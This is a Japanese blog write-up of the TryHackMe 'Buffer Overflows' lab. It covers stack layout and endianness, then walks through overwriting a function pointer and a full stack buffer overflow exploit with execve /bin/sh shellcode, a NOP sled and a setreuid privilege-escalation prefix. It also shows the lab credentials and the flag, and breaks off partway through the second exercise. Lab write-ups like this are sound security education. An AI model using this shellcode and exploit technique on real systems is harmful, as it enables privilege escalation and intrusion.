【TryHackMe】Buffer Overflowを実際に試してみた!Buffer Overflows Writeup

【TryHackMe】Buffer Overflowを実際に試してみた!Buffer Overflows Writeup
  • URLをコピーしました!

今回は、Buffer Overflowを実際に試してみます。
環境構築するのも大変なので、TryHackMeの下記Roomで勉強させてもらいます。
「TryHackMe-Buffer Overflows:https://tryhackme.com/room/bof1

解説は、ネタバレになりますので、注意してください。

目次

Introduction(序章)

まずは、ターゲットマシンを起動しておきましょう。
下記画面の「Start Machine」を選択します。

IP Addressが表示されれば、起動完了です。

Connect to our network, deploy the machine and login with the credentials above.(ネットワークに接続し、マシンを展開し、上記の資格情報を使用してログインします。)

ここまでできたら、ターゲットマシンに「user1:user1password」でSSH接続しておきます。

┌──(hacklab㉿hacklab)-[~]
└─$ ssh user1@10.10.165.6      
The authenticity of host '10.10.165.6 (10.10.165.6)' can't be established.
ED25519 key fingerprint is SHA256:AsF56RWYwwHAw06LwzfQZsBY9+GuN1jrYmQRK3FP5dU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.165.6' (ED25519) to the list of known hosts.
user1@10.10.165.6's password: 
Last login: Wed Nov 27 21:42:30 2019 from 82.34.52.37

       __|  __|_  )
       _|  (     /   Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[user1@ip-10-10-165-6 ~]$ 

Answer

Process Layout(プロセスレイアウト)

ここではプロセス内のメモリのレイアウトについて、説明が記載されていますね。
説明は各々で読んでおきましょう。

個人的なメモとして、まとめておきます。

  • コンピュータは、プログラムをプロセスとして実行する。
  • 複数のプロセスを同時に実行できるが、正確には、プロセス間を非常に素早く切り替えて、同時に実行しているように見せている。(コンテキストスイッチ)
  • ユーザースタック(User Stack):プログラムの実行に必要な情報が含まれている。
    現在のプログラムカウンター、保存されたレジスタ、その他情報が含まれる。
    ユーザースタックは下方へ増加していく。(ユーザースタック以降のセクションは、未使用メモリ)
  • 共有ライブラリ領域(Shared Library Regions):プログラムで使用されるライブラリを静的/動的にリンクするために使用される。
  • ヒープ(Heap):プログラムがメモリを動的に割り当てるかどうかに応じて動的に増減する。
    ヒープの上には、割り当てられていないセクションがあり、ヒープサイズが増加した場合に利用される。
  • プログラムコードとデータ(code/data):プログラムの実行可能ファイルと初期化された変数が格納される。


Where is dynamically allocated memory stored?(動的に割り当てられたメモリはどこに保存されますか?)

Answer


Where is information about functions(e.g. local arguments) stored?(関数に関する情報 (ローカル引数など) はどこに保存されますか?)

Answer

x86-64 Procedures(x86-64 の手順)

次は、スタックについての説明ですね。
ここは目新しい内容はなかったので、各々で読んでおきましょう。


what direction does the stack grown(l for lower/h for higher)(スタックはどの方向に成長しますか (l は下位、h は上位))

Answer

what instruction is used to add data onto the stack?(スタックにデータを追加するにはどのような命令が使用されますか?)

Answer

Procedures Continued(手順の続き)

ここも回答だけ載せておきます。


What register stores the return address?(戻りアドレスを格納するレジスタは何ですか?)

Answer

Endianess(エンディアンネス)

アーキテクチャが異なると、同じ16進数が異なる方法で表現されます。これを、Endianessと呼びます。

  • リトルエンディアン:値が最下位バイトから最上位バイトに配置される。
  • ビッグエンディアン:値が最上位バイトから最下位バイトに配置される。


Read this.

Answer

Overwriting Variables(変数の上書き)

ここからは、実践形式になります。

overflow-1のフォルダの中に、「int-overflow.c」があるので覗いてみます。

[user1@ip-10-10-165-6 overflow-1]$ cat int-overflow.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int variable = 0;
  char buffer[14];

  gets(buffer);

  if(variable != 0) {
      printf("You have changed the value of the variable\n");
  } else {
      printf("Try again?\n");
  }
}

スタックは、下方向に格納していきますので、「variable」>「buffer」になっていることが推測できます。
データがバッファにコピーや書き込みをする場合、データは下位アドレスから上位アドレスに書き込んで行きます。

gets関数は、標準入力からbufferにデータを入力していますが、gets関数は実際に長さチェックがないので、変数を上書きすることが可能です。(つまり、14byte以上のデータを入力したら変数を上書きできるということです。)


What is the minimum number of characters needed to overwrite the variable?(変数を上書きするために必要な最小文字数は何ですか?)

実際に実行して試してみます。
まずは、先ほどの仮設通り14byte入力してみましょう。

[user1@ip-10-10-165-6 overflow-1]$ gcc int-overflow.c
[user1@ip-10-10-165-6 overflow-1]$ ./a.out 
01234567890123
Try again?

Try againと出力されたので、上書きできていないことがわかります。

次に、15byte入力してみます。

[user1@ip-10-10-165-6 overflow-1]$ ./a.out 
012345678901234 
You have changed the value of the variable

先ほどと出力が変わりましたね。
変数が0以外になったということなので、上書きできたことが証明されました!

Answer

Overwriting Function Pointers(関数ポインタの上書き)

関数ポインタを上書きして、別の関数を呼び出してみます。
まずは、overflow-2の「func-pointer.c」を見てみましょう。

[user1@ip-10-10-22-183 overflow-2]$ cat func-pointer.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

void special()
{
    printf("this is the special function\n");
    printf("you did this, friend!\n");
}

void normal()
{
    printf("this is the normal function\n");
}

void other()
{
    printf("why is this here?");
}

int main(int argc, char **argv)
{
    volatile int (*new_ptr) () = normal;
    char buffer[14];
    gets(buffer);
    new_ptr();
}

bufferの上の変数は、関数へのポインタではなく、normal関数のメモリ位置になっています。
このメモリ位置を上書きしていきます。

ここで、gdb(デバッガ)を利用します。

[user1@ip-10-10-22-183 overflow-2]$ gdb func-pointer
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from func-pointer...(no debugging symbols found)...done.
(gdb) set exec-wrapper env -u LINES -u COLUMNS

まずは、実行して、13byte入力してみましょう。

(gdb) run
Starting program: /home/user1/overflow-2/func-pointer 
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
1234567890123
this is the normal function
[Inferior 1 (process 3567) exited normally]

normal functionが実行されていますね。

次に15byteで実行してみます。

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer 
123456789012345

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400035 in ?? ()

アドレスの右端が、「35」になっています。(「5」の16進コード)
つまり、返送先アドレスが上書きされたことを意味します。

では、次に20byteで実行してみます。

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer 
12345678901234555555

Program received signal SIGSEGV, Segmentation fault.
0x0000353535353535 in ?? ()

戻り値のすべてが「35」上書きされました。

次に21byteで実行してみます。

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer 
123456789012345555555   

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005da in main ()

これは、別の場所になっているのでやりすぎています。
つまり、アドレスを上書きするために6byteあることがわかりました。

special関数のアドレスに書き換えるために、special関数のアドレスをみておきましょう。

(gdb) disassemble special
Dump of assembler code for function special:
   0x0000000000400567 <+0>:     push   %rbp
   0x0000000000400568 <+1>:     mov    %rsp,%rbp
   0x000000000040056b <+4>:     mov    $0x400680,%edi
   0x0000000000400570 <+9>:     callq  0x400460 <puts@plt>
   0x0000000000400575 <+14>:    mov    $0x40069d,%edi
   0x000000000040057a <+19>:    callq  0x400460 <puts@plt>
   0x000000000040057f <+24>:    nop
   0x0000000000400580 <+25>:    pop    %rbp
   0x0000000000400581 <+26>:    retq   
End of assembler dump.

「0x0000000000400567」がspecial関数のアドレスですね。
では、上記のアドレスになるように書き換えていきます。

ここでは、リトルエンディアンなので、「000000400567」は、次のようになります。

\x67\x05\x40\x00\x00\x00

次にこれをASCIIコードに変換します。

g^E@

^Eは、「CTRL+E」なので注意してください。

ASCIIコードがわかれば、実行して書き換えてみましょう。

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-2/func-pointer 
12345678901234g^E@
this is the special function
you did this, friend!
[Inferior 1 (process 5144) exited normally]

ちゃんとspecial関数が実行されましたね。


Invoke the special function()(special関数を呼び出します)

先ほどspecial関数を呼び出したようにしてあげればOKですね。

[user1@ip-10-10-22-183 overflow-2]$ ./func-pointer 
12345678901234g^E@
this is the special function
you did this, friend!

Answer

Buffer Overflows(バッファオーバーフロー)

次は、バッファオーバーフローを利用して、シェルを取得してみます。
ここから少し複雑になってきます。。。

まずは、overflow-3に移動して、「buffer-overflow.c」を確認してみましょう。

[user1@ip-10-10-22-183 overflow-3]$ cat buffer-overflow.c
#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
    char buffer[140];
    strcpy(buffer, string);
    printf("%s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    printf("Here's a program that echo's out your input\n");
    copy_arg(argv[1]);
}

strcpy()がコマンドライン引数argv[1]から長さ140byteのバッファにコピーしていることがわかります。
strcpy()は、長さをチェックしないため、バッファオーバーフローさせることが可能です。

スタックには、リターンアドレスを追加しますが、bufferは上向きにコピーされていくため、バッファオーバーフローで、リターンアドレスを上書きすることができます。
関数がどこに戻るかを制御し、プログラムの実行フローを変更してみます。


Use the above method to open a shell and read the contents of the secret.txt file.(上記の方法を使用してシェルを開き、secret.txt ファイルの内容を読み取ります。)

では、先ほどと同様にgdbを利用します。

[user1@ip-10-10-22-183 overflow-3]$ gdb buffer-overflow
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from buffer-overflow...(no debugging symbols found)...done.

まずは、リターンアドレスの先頭を探していきます。
bufferには、140byteであることは、ソースからわかりました。
bufferとリターンアドレスの間には、「アライメントバイト」とrbpレジスタ(saveレジスタ)によって埋められるものがあり、x64アーキテクチャでは8バイトあります。

つまり、buffer(140)+アライメントバイト(??)+rbp(8)のようなオフセットになるはずです。

したがって、最低でも148byteなので、148byteからリターンアドレスが上書きされるまでbyteを増やしていきます。
まずは、148byteで実行してみましょう。

(gdb) run $(python -c "print('A'*148)")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*148)")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()

最後のリターンアドレスに、「41(A)」が存在しないため、上書きできていません。
徐々に増やしていき、153byteになったときにどうなるか見てみます。

(gdb) run $(python -c "print('A'*153)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*153)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()

リターンアドレスに、「41」がありますね。リターンアドレスが上書きされたことがわかります。
次は、リターンアドレスの最後を見るために、158byteで実行してみます。

(gdb) run $(python -c "print('A'*158)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

リターンアドレスは、「41」で埋め尽くされていますので、159byteで実行してみます。

(gdb) run $(python -c "print('A'*159)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*159)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()

もちろんやりすぎてしまっているので、別のアドレスになってしまっています。
つまり、153~158の6byteがリターンアドレスであることがわかりました。

次は、シェルコードをbufferにおいて、リターンアドレスがそのアドレスを指すようにしていきます。
通常の単純なシェルコードでは、機能せず、SIGILLエラーを防ぐためにexitを呼び出す必要がある点に注意してください。

push $0x3b
pop %eax
xor %rdx,%rdx
movabs $0x68732f6e69622f2f,%r8  
shr $0x8, %r8
push %r8
mov %rsp, %rdi
push %rdx
push %rdi
mov %rsp, %rsi
syscall <------ ここで/bin/shを実行
push $0x3c
pop %eax
xor %rdi,%rdi
syscall <------ 最後の4行はexit関数のため

16進バージョンのシェルコードは下記になります。
これは、WEBから引っ張ってきました。(今回は、こちらから引っ張ってきています。)
40byteあります。

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

次に16進のシェルコードのアドレスを調べていきます。
ジャンク(100byte)+シェルコード(40byte)+ジャンク(12byte)+リターンアドレス(6byte)=158byteになるようにしておきます。(ジャンクとシェルコードの位置は大した理由はないので、152byte以内であればbyteは変更しても問題ないです)

今回はとりあえず、ジャンクには「A」、リターンアドレスには「B」をいれます。

(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()

次にメモリ位置をダンプしてみます。

(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450      0x00000000      0xffffe3e0      0x00007fff
0x7fffffffe238: 0x00400561      0x00000000      0xf7dce8c0      0x00007fff
0x7fffffffe248: 0xffffe64a      0x00007fff      0x41414141      0x41414141
0x7fffffffe258: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe268: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe278: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe288: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe298: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2a8: 0x41414141      0x41414141      0x41414141      0x48583b6a
0x7fffffffe2b8: 0xb849d231      0x69622f2f      0x68732f6e      0x08e8c149
0x7fffffffe2c8: 0x89485041      0x485752e7      0x050fe689      0x48583c6a
0x7fffffffe2d8: 0x050fff31      0x41414141      0x41414141      0x41414141
0x7fffffffe2e8: 0x42424242      0x00004242      0xffffe3e8      0x00007fff
0x7fffffffe2f8: 0x00000000      0x00000002      0x004005a0      0x00000000
0x7fffffffe308: 0xf7a4302a      0x00007fff      0x00000000      0x00000000
0x7fffffffe318: 0xffffe3e8      0x00007fff      0x00040000      0x00000002
0x7fffffffe328: 0x00400564      0x00000000      0x00000000      0x00000000
0x7fffffffe338: 0x654a4ef5      0xcc0a789a      0x00400450      0x00000000
0x7fffffffe348: 0xffffe3e0      0x00007fff      0x00000000      0x00000000
0x7fffffffe358: 0x00000000      0x00000000      0xa82a4ef5      0x33f587e5
0x7fffffffe368: 0x31ce4ef5      0x33f59752      0x00000000      0x00000000
0x7fffffffe378: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe388: 0xffffe400      0x00007fff      0xf7ffe130      0x00007fff
0x7fffffffe398: 0xf7de7656      0x00007fff      0x00000000      0x00000000
0x7fffffffe3a8: 0x00000000      0x00000000      0x00000000      0x00000000

bufferのスタートが「0x7fffffffe248の3列目」、シェルコードのスタートが「0x7fffffffe2a8の4列目」にあることがわかります。
「0x7fffffffe2a8」がシェルコードが記載されている行の最初のアドレスであり、1列ごとに4byte追加する必要があります。
シェルコードは4列目、つまり間に3列分あるので3*4byte=12byte(oxC)追加し、0x7fffffffe2a8+oxC=0x7fffffffe2b4 が、シェルコードの先頭アドレスであることがわかります。

ただし、時々メモリが少しシフトして、実行ごとにアドレスが変わる可能性があります。
これは、シェルコードの前のジャンクを「A」ではなく、「NOP(\x90)」で埋めることで解決できます。

NOPは何も行わない命令であり、スキップされることになります。
すべてのNOPをスキップしてシェルコードを実行するため、正確なアドレスを取得する必要はなく、NOPで埋められているどこかのアドレスを取得して、実行すれば問題ありません。
すなわち、メモリが多少変化しても問題がないということになります。

シェルコードの前のジャンクを「A」から「\x90」に変更します。

(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()

もう一度メモリ位置をダンプします。

(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450      0x00000000      0xffffe3e0      0x00007fff
0x7fffffffe238: 0x00400561      0x00000000      0xf7dce8c0      0x00007fff
0x7fffffffe248: 0xffffe64a      0x00007fff      0x90909090      0x90909090
0x7fffffffe258: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe268: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe278: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe288: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe298: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe2a8: 0x90909090      0x90909090      0x90909090      0x48583b6a
0x7fffffffe2b8: 0xb849d231      0x69622f2f      0x68732f6e      0x08e8c149
0x7fffffffe2c8: 0x89485041      0x485752e7      0x050fe689      0x48583c6a
0x7fffffffe2d8: 0x050fff31      0x41414141      0x41414141      0x41414141
0x7fffffffe2e8: 0x42424242      0x00004242      0xffffe3e8      0x00007fff
0x7fffffffe2f8: 0x00000000      0x00000002      0x004005a0      0x00000000
0x7fffffffe308: 0xf7a4302a      0x00007fff      0x00000000      0x00000000
0x7fffffffe318: 0xffffe3e8      0x00007fff      0x00040000      0x00000002
0x7fffffffe328: 0x00400564      0x00000000      0x00000000      0x00000000
0x7fffffffe338: 0x02ce8e0b      0x844e9507      0x00400450      0x00000000
0x7fffffffe348: 0xffffe3e0      0x00007fff      0x00000000      0x00000000
0x7fffffffe358: 0x00000000      0x00000000      0xcfae8e0b      0x7bb16a78
0x7fffffffe368: 0x564a8e0b      0x7bb17acf      0x00000000      0x00000000
0x7fffffffe378: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe388: 0xffffe400      0x00007fff      0xf7ffe130      0x00007fff
0x7fffffffe398: 0xf7de7656      0x00007fff      0x00000000      0x00000000
0x7fffffffe3a8: 0x00000000      0x00000000      0x00000000      0x00000000

「0x7fffffffe2a8の4列目」がシェルコードですが、その前の「90」で埋められている箇所であればどこでもいいので、今回は「0x7fffffffe298」をリターンアドレスにして、スキップさせてシェルコードを実行させます。

リターンアドレスは、リトルエンディアンにするため、「0x7fffffffe298」⇒「0x98e2ffffff7f」⇒「\x98\xe2\xff\xff\xff\x7f」となります。

リターンアドレスの「B」を「\x98\xe2\xff\xff\xff\x7f」に置き換えて実行してみましょう。

(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
����������������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAA�����
process 5368 is executing new program: /usr/bin/bash
sh-4.2$ 

無事、シェルが取得できていますね。
whoamiでユーザーを確認してみると、user1であることがわかります。

sh-4.2$ whoami
Detaching after fork from child process 5377.
user1

secret.txtがあったので、catしてみましたが、どうやらuser1ではダメなようです。

sh-4.2$ ls -l
Detaching after fork from child process 5380.
total 20
-rwsrwxr-x 1 user2 user2 8264 Sep  2  2019 buffer-overflow
-rw-rw-r-- 1 user1 user1  285 Sep  2  2019 buffer-overflow.c
-rw------- 1 user2 user2   22 Sep  2  2019 secret.txt
sh-4.2$ cat secret.txt
Detaching after fork from child process 5378.
cat: secret.txt: Permission denied

user2にするためには、シェルコードにsetreuidを追加する必要があります。
まずは、user2のUIDを調べてみましょう。

[user1@ip-10-10-22-183 overflow-3]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
user1:x:1001:1001::/home/user1:/bin/bash
user2:x:1002:1002::/home/user2:/bin/bash
user3:x:1003:1003::/home/user3:/bin/bash

user2のUIDが「1002」であることがわかりました。

次に、pwntoolsを利用して、setreuid()の部分の16進コードを生成していきます。

┌──(hacklab㉿hacklab)-[~]
└─$ pwn shellcraft -f d amd64.linux.setreuid 1002
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

これをシェルコードの先頭に処理を追加します。
14byteなので、シェルコードの前のジャンクも100-14=86byteに変更しておきましょう。
これで実行してみます。

[user1@ip-10-10-22-183 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'")
Here's a program that echo's out your input
��������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAA�����
sh-4.2$ whoami
user2

無事、user2の権限が取得できました。(gdbを使っていると、user1のままになってしまう。gdbなしで実行したら、user2で実施が可能だった。)

secret.txtを確認して完了です!

sh-4.2$ cat secret.txt 
omgyoudidthissocool!!

Answer

Buffer Overflow 2(バッファオーバーフロー2)

次は、今までの内容のおさらいという感じですね。

まずは、cのソースをみてみましょう。

[user1@ip-10-10-232-238 overflow-4]$ cat buffer-overflow-2.c
#include <stdio.h>
#include <stdlib.h>

void concat_arg(char *string)
{
    char buffer[154] = "doggo";
    strcat(buffer, string);
    printf("new word is %s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    concat_arg(argv[1]);
}

strcat()は、オーバーフローを引き起こす可能性がある関数ですね。
今回はこれを利用するということだと思います。

では、gdbで実行していきます。

[user1@ip-10-10-232-238 overflow-4]$ gdb buffer-overflow-2
GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from buffer-overflow-2...(no debugging symbols found)...done.
(gdb) 

buffer(154)+アライメントバイト(??)+rbp(8)のようなオフセットになるはずです。
154+8=162byteで、まずは実行してみましょう。

(gdb) run $(python -c "print('A'*162)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*157)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005d3 in main ()

「41」がないので、上書きされていませんね。

そのまま164byte入力して、実行してみました。

(gdb) run $(python -c "print('A'*164)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*164)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()

「41」があるのでちゃんと上書きされています。

リターンアドレスの最後も知りたいので、169byte入力してみます。

